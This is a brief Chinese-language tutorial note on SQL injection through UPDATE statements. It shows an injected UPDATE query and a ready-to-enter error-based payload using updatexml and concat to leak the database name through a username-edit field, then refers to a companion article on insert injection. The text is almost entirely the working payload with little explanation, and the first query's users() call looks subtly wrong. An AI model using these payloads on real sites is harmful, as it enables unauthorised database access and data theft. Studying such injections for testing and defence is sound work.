SQL注入之update注入

update注入:

update member set sex='q',phonenum='test'or updatexml(2,concat(0x7e,(users())),0) or'',address='q',email='q' where username='q'

在修改用户名输入:

payload

test'or updatexml(2,concat(0x7e,(database())),0) or'

然后就可以仿照SQL注入之insert注入这篇文章的方式往下进行注入。